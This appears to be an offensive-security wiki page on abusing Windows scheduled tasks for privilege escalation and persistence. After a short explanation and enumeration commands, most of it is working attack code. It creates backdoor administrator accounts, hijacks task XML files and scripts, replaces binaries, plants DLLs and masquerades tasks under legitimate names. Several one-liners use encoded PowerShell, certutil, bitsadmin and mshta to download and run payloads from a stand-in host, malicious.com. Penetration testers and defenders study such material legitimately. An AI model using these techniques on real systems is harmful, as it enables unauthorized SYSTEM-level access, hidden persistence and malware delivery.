Scheduled tasks abuse
Task Permission Weaknesses
Understanding Windows Scheduled Tasks
Windows Scheduled Tasks are like having a personal assistant that automatically runs programs at specific times or when certain events happen. These tasks are managed by the Task Scheduler service, which runs with SYSTEM privileges - the highest level of access in Windows.
How Scheduled Tasks Work
Task Scheduler Architecture:
Task Scheduler Service (runs as SYSTEM)
├── Task Definitions (stored in registry and XML files)
├── Task Triggers (when to run: time, events, logon, etc.)
├── Task Actions (what to run: programs, scripts, commands)
└── Task Security (who the task runs as: SYSTEM, Admin, User)
Task Storage Locations:
Registry:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache
XML Files:
C:\Windows\System32\Tasks\
Legacy:
C:\Windows\Tasks\
(older .job files)
Why Scheduled Tasks Are Valuable Targets
High-Privilege Execution:
Many tasks run as SYSTEM (highest Windows privileges)
Tasks can run even when no user is logged in
Tasks inherit the security context they're configured with
Attack Surface:
Task definitions might have weak permissions
Task executables might be modifiable
Working directories might be writable
Task creation might be allowed for low-privileged users
Real-World Task Examples
Legitimate System Tasks:
Task: Windows Update
Path: \Microsoft\Windows\WindowsUpdate\Automatic App Update
Runs as: SYSTEM
Action: C:\Windows\System32\UsoClient.exe StartScan
Trigger: Daily at 3:00 AM
Vulnerable Configuration Example: If the task executable C:\Program Files\UpdateApp\updater.exe
is writable by regular users, an attacker could:
Replace
updater.exe
with malicious codeWait for the scheduled task to run
Their malicious code executes with SYSTEM privileges
Enumeration
Basic Task Discovery
List all scheduled tasks:
schtasks /query /fo LIST /v
schtasks /query /fo csv /v > tasks.csv
Show specific task details:
schtasks /query /tn "TaskName" /fo LIST /v
PowerShell task enumeration:
# Get all scheduled tasks
Get-ScheduledTask
# Get tasks with detailed information
Get-ScheduledTask | Get-ScheduledTaskInfo | Select-Object TaskName, LastRunTime, NextRunTime, LastTaskResult
# Get tasks running as SYSTEM
Get-ScheduledTask | Where-Object {$_.Principal.UserId -eq "SYSTEM"} | Select-Object TaskName, TaskPath
Advanced Task Analysis
Find high-value targets:
# Get task actions (executables)
Get-ScheduledTask | ForEach-Object {
$task = $_
$actions = $task | Get-ScheduledTaskAction
foreach ($action in $actions) {
[PSCustomObject]@{
TaskName = $task.TaskName
TaskPath = $task.TaskPath
RunsAs = $task.Principal.UserId
Execute = $action.Execute
Arguments = $action.Arguments
WorkingDirectory = $action.WorkingDirectory
}
}
} | Where-Object {$_.RunsAs -eq "SYSTEM"} | Format-Table -AutoSize
Check task file system permissions:
# Check task XML files
dir C:\Windows\System32\Tasks\ /s
icacls C:\Windows\System32\Tasks\ /t
# Check specific task file permissions
icacls "C:\Windows\System32\Tasks\Microsoft\Windows\TaskName"
Permission Analysis
Check task modification rights:
# Test if current user can create tasks
schtasks /create /tn "TestTask" /tr "cmd.exe" /sc once /st 23:59 /f 2>nul
if %errorlevel% equ 0 (
echo [+] Can create scheduled tasks!
schtasks /delete /tn "TestTask" /f >nul 2>&1
) else (
echo [-] Cannot create scheduled tasks
)
Using AccessChk for permission analysis:
accesschk.exe -accepteula -d "C:\Windows\System32\Tasks"
accesschk.exe -accepteula -s "C:\Windows\System32\Tasks"
PowerShell permission checker:
# Check task file permissions
$taskFiles = Get-ChildItem "C:\Windows\System32\Tasks" -Recurse -File -ErrorAction SilentlyContinue
foreach ($file in $taskFiles) {
try {
$acl = Get-Acl $file.FullName
$writeAccess = $acl.Access | Where-Object {
($_.IdentityReference -like "*Users*" -or $_.IdentityReference -like "*Everyone*") -and
($_.FileSystemRights -like "*Write*" -or $_.FileSystemRights -like "*FullControl*")
}
if ($writeAccess) {
Write-Output "[!] WRITABLE TASK FILE: $($file.FullName)"
}
} catch {}
}
Exploitation Techniques
Task Creation Privilege Escalation
Create SYSTEM task (requires task creation privileges):
schtasks /create /tn "SecurityUpdate" /tr "cmd.exe /c net user hacker Password123! /add && net localgroup administrators hacker /add" /sc onstart /ru SYSTEM /f
Create task with immediate execution:
schtasks /create /tn "QuickTask" /tr "C:\Users\Public\backdoor.exe" /sc once /st 23:59 /ru SYSTEM /f
schtasks /run /tn "QuickTask"
PowerShell task creation:
$action = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c net user backdoor Password123! /add"
$trigger = New-ScheduledTaskTrigger -AtStartup
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount
$settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries
try {
Register-ScheduledTask -TaskName "WindowsUpdate" -Action $action -Trigger $trigger -Principal $principal -Settings $settings
Write-Output "[+] Scheduled task created successfully"
# Run the task immediately
Start-ScheduledTask -TaskName "WindowsUpdate"
} catch {
Write-Output "[-] Failed to create scheduled task: $($_.Exception.Message)"
}
Task Modification Attacks
Hijack existing task:
# Backup original task
schtasks /query /tn "ExistingTask" /xml > original_task.xml
# Modify existing task to include malicious action
schtasks /change /tn "ExistingTask" /tr "cmd.exe /c C:\backdoor.exe && C:\original\executable.exe"
# Restore original task (cleanup)
schtasks /delete /tn "ExistingTask" /f
schtasks /create /tn "ExistingTask" /xml original_task.xml
Task File and Executable Hijacking
Understanding Task File Structure
Scheduled tasks are stored as XML files in C:\Windows\System32\Tasks\
. These files contain task configuration, triggers, actions, and security settings. Each task has a corresponding entry in the registry for caching and quick access.
Task XML Structure Example
Typical Task XML Content:
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2">
<Triggers>
<LogonTrigger>
<Enabled>true</Enabled>
</LogonTrigger>
</Triggers>
<Principals>
<Principal id="Author">
<UserId>SYSTEM</UserId>
<LogonType>ServiceAccount</LogonType>
<RunLevel>HighestAvailable</RunLevel>
</Principal>
</Principals>
<Actions Context="Author">
<Exec>
<Command>C:\Program Files\Application\service.exe</Command>
</Exec>
</Actions>
</Task>
What Makes This Vulnerable:
If the XML file has weak permissions, it can be directly modified
If the executable path is writable, the binary can be replaced
If the working directory is writable, DLL hijacking is possible
Enumeration
Finding Vulnerable Task Files
Check XML file permissions:
icacls "C:\Windows\System32\Tasks\Microsoft\Windows\TaskName"
accesschk.exe -accepteula -f "C:\Windows\System32\Tasks\*"
Search for interesting task content:
findstr /s /i "SYSTEM\|Administrator\|password\|credential" C:\Windows\System32\Tasks\*
PowerShell executable permission check:
# Check task executable permissions
Get-ScheduledTask | Get-ScheduledTaskAction | ForEach-Object {
if ($_.Execute -and (Test-Path $_.Execute)) {
try {
$acl = Get-Acl $_.Execute
$writeAccess = $acl.Access | Where-Object {
($_.IdentityReference -like "*Users*" -or $_.IdentityReference -like "*Everyone*") -and
($_.FileSystemRights -like "*Write*" -or $_.FileSystemRights -like "*FullControl*")
}
if ($writeAccess) {
Write-Output "[!] WRITABLE TASK EXECUTABLE: $($_.Execute)"
}
} catch {}
}
}
Registry-Based Task Analysis
Check task registry permissions:
accesschk.exe -accepteula -kvusw "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache"
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks" /s
Exploitation Techniques
Direct XML File Modification
PowerShell XML manipulation:
function Set-TaskHijack {
param(
[string]$TaskPath,
[string]$MaliciousExecutable
)
$taskXmlPath = "C:\Windows\System32\Tasks$TaskPath"
if (Test-Path $taskXmlPath) {
try {
# Backup original
Copy-Item $taskXmlPath "$taskXmlPath.backup"
# Load and modify XML
[xml]$taskXml = Get-Content $taskXmlPath
# Create new malicious action
$newAction = $taskXml.CreateElement("Exec", $taskXml.Task.NamespaceURI)
$command = $taskXml.CreateElement("Command", $taskXml.Task.NamespaceURI)
$command.InnerText = $MaliciousExecutable
$newAction.AppendChild($command)
# Add to actions
$actions = $taskXml.Task.Actions
$actions.AppendChild($newAction)
# Save modified XML
$taskXml.Save($taskXmlPath)
Write-Output "[+] Task XML hijacked: $TaskPath"
} catch {
Write-Output "[-] Failed to hijack task: $($_.Exception.Message)"
}
}
}
# Example usage (requires write permission to task file)
Set-TaskHijack -TaskPath "\Microsoft\Windows\UpdateTask" -MaliciousExecutable "C:\backdoor.exe"
Task Executable Replacement
Binary replacement attack:
# Find tasks with writable executables
schtasks /query /fo csv /v | findstr /i "C:\Program Files"
# Check executable permissions
icacls "C:\Program Files\Application\taskexe.exe"
# If writable, replace with malicious executable
copy "C:\Program Files\Application\taskexe.exe" "taskexe.exe.backup"
copy "C:\malicious.exe" "C:\Program Files\Application\taskexe.exe"
# Restore original (cleanup)
copy "taskexe.exe.backup" "C:\Program Files\Application\taskexe.exe"
PowerShell Script Hijacking
Find PowerShell-based tasks:
Get-ScheduledTask | Get-ScheduledTaskAction | Where-Object {
$_.Execute -like "*powershell*" -or $_.Arguments -like "*.ps1"
} | Select-Object Execute, Arguments
Script hijacking function:
function Set-ScriptHijack {
param([string]$ScriptPath)
if (Test-Path $ScriptPath) {
# Backup original
Copy-Item $ScriptPath "$ScriptPath.backup"
# Create malicious script that maintains original functionality
$maliciousContent = @"
# Malicious payload
net user hacker Password123! /add
net localgroup administrators hacker /add
# Original script content (to avoid detection)
$(Get-Content "$ScriptPath.backup" -Raw)
"@
Set-Content -Path $ScriptPath -Value $maliciousContent
Write-Output "[+] Script hijacked: $ScriptPath"
}
}
DLL Hijacking in Task Context
Find potential DLL hijacking opportunities:
# Use Process Monitor to identify missing DLLs when task runs
# Look for "NAME NOT FOUND" or "PATH NOT FOUND" entries
# Check if task working directory is writable
icacls "C:\Program Files\TaskApp"
# Place malicious DLL in writable location
copy malicious.dll "C:\Program Files\TaskApp\missing.dll"
Task Creation and Modification
Understanding Task Privileges and Security Context
Tasks can run under different security contexts, which determines what level of access they have:
SYSTEM - Highest privileges, can access all system resources
Administrator - High privileges but with some limitations
Specific User Account - Limited to that user's privileges
Interactive User - Runs with currently logged-in user's privileges
Task Trigger Types
Common Trigger Types:
Time-based - Specific times, intervals, or schedules
Event-based - System events, log entries, or state changes
Logon triggers - User logon/logoff events
Startup triggers - System boot events
Idle triggers - System idle state
Enumeration
Task Trigger Analysis
Enumerate task triggers:
# Get trigger information for all tasks
schtasks /query /fo LIST /v | findstr /i "Schedule\|Trigger\|Start"
# Get specific task trigger details
schtasks /query /tn "TaskName" /fo LIST /v | findstr /i "Trigger\|Schedule"
PowerShell trigger analysis:
# Get all task triggers with details
Get-ScheduledTask | Get-ScheduledTaskTrigger | Select-Object TaskName, TriggerType, StartBoundary, Enabled
# Find tasks triggered at logon
Get-ScheduledTask | Get-ScheduledTaskTrigger | Where-Object {$_.TriggerType -eq "AtLogon"} | Select-Object TaskName, Enabled
# Find tasks with frequent execution
Get-ScheduledTask | Get-ScheduledTaskTrigger | Where-Object {
$_.Repetition -and $_.Repetition.Interval -and
([TimeSpan]$_.Repetition.Interval).TotalMinutes -lt 60
} | Select-Object TaskName, @{Name="IntervalMinutes";Expression={([TimeSpan]$_.Repetition.Interval).TotalMinutes}}
Security Context Analysis
Find high-privilege tasks:
# Analyze task security context
Get-ScheduledTask | ForEach-Object {
[PSCustomObject]@{
TaskName = $_.TaskName
TaskPath = $_.TaskPath
UserId = $_.Principal.UserId
LogonType = $_.Principal.LogonType
RunLevel = $_.Principal.RunLevel
State = $_.State
}
} | Where-Object {$_.UserId -eq "SYSTEM" -or $_.RunLevel -eq "HighestAvailable"} | Format-Table -AutoSize
Exploitation Techniques
Stealth Task Creation
Create hidden tasks in legitimate locations:
# Create task in obscure but legitimate location
schtasks /create /tn "\Microsoft\Windows\SystemRestore\SR" /tr "C:\Windows\System32\backdoor.exe" /sc onstart /ru SYSTEM /f
# Create task with legitimate-sounding name
schtasks /create /tn "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /tr "C:\backdoor.exe" /sc daily /st 02:00 /ru SYSTEM /f
PowerShell stealth task with encoded payload:
# Create task with encoded PowerShell payload
$encodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes("IEX (New-Object Net.WebClient).DownloadString('http://malicious.com/payload.ps1')"))
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand $encodedPayload"
$trigger = New-ScheduledTaskTrigger -Daily -At "3:00AM"
$principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -LogonType Interactive
$settings = New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries
Register-ScheduledTask -TaskName "SystemOptimizer" -Action $action -Trigger $trigger -Principal $principal -Settings $settings
Task Trigger Manipulation
Modify existing task triggers:
# Change task to run more frequently
schtasks /change /tn "ExistingTask" /sc minute /mo 1
# Change task to run at logon
schtasks /change /tn "ExistingTask" /sc onlogon
# Enable disabled task
schtasks /change /tn "DisabledTask" /enable
Event-based trigger exploitation:
# Create task triggered by specific Windows event
schtasks /create /tn "EventTask" /tr "C:\backdoor.exe" /sc onevent /ec Security /mo "*[System[EventID=4624]]" /ru SYSTEM /f
# Create task triggered by application event
schtasks /create /tn "AppEventTask" /tr "cmd.exe /c echo Triggered > C:\temp\log.txt" /sc onevent /ec Application /mo "*[System[EventID=1000]]" /f
Living Off The Land Techniques
Using built-in Windows binaries:
# Use certutil for payload download and execution
schtasks /create /tn "CertUpdate" /tr "certutil.exe -urlcache -split -f http://malicious.com/payload.exe C:\temp\payload.exe && C:\temp\payload.exe" /sc onstart /ru SYSTEM /f
# Use bitsadmin for stealthy download
schtasks /create /tn "BackgroundTransfer" /tr "bitsadmin.exe /transfer update /download /priority high http://malicious.com/payload.exe C:\temp\update.exe && C:\temp\update.exe" /sc daily /st 01:00 /f
# Use mshta for scriptless execution
schtasks /create /tn "HTMLProcessor" /tr "mshta.exe javascript:eval('var a=new ActiveXObject(\"WScript.Shell\");a.Run(\"cmd.exe /c powershell.exe -enc <BASE64>\",0);window.close();')" /sc onlogon /f
Task Masquerading
Copy and modify legitimate tasks:
# Copy legitimate task and modify it
schtasks /query /tn "\Microsoft\Windows\Defrag\ScheduledDefrag" /xml > legit_task.xml
# Modify XML to include malicious action while keeping original
# Re-create with new name
schtasks /create /tn "\Microsoft\Windows\Maintenance\SystemCleanup" /xml modified_task.xml
Quick Enumeration
PowerUp task checks:
Import-Module .\PowerUp.ps1
Get-ModifiableScheduledTaskFile
Get-UnquotedScheduledTask
Invoke-AllChecks | Where-Object {$_.Check -like "*Task*"}
WinPEAS task analysis:
winpeas.exe scheduledtasks
winpeas.exe systeminfo | findstr /i "task\|schedule"
Seatbelt task enumeration:
Seatbelt.exe ScheduledTasks
Seatbelt.exe InterestingFiles
Last updated
Was this helpful?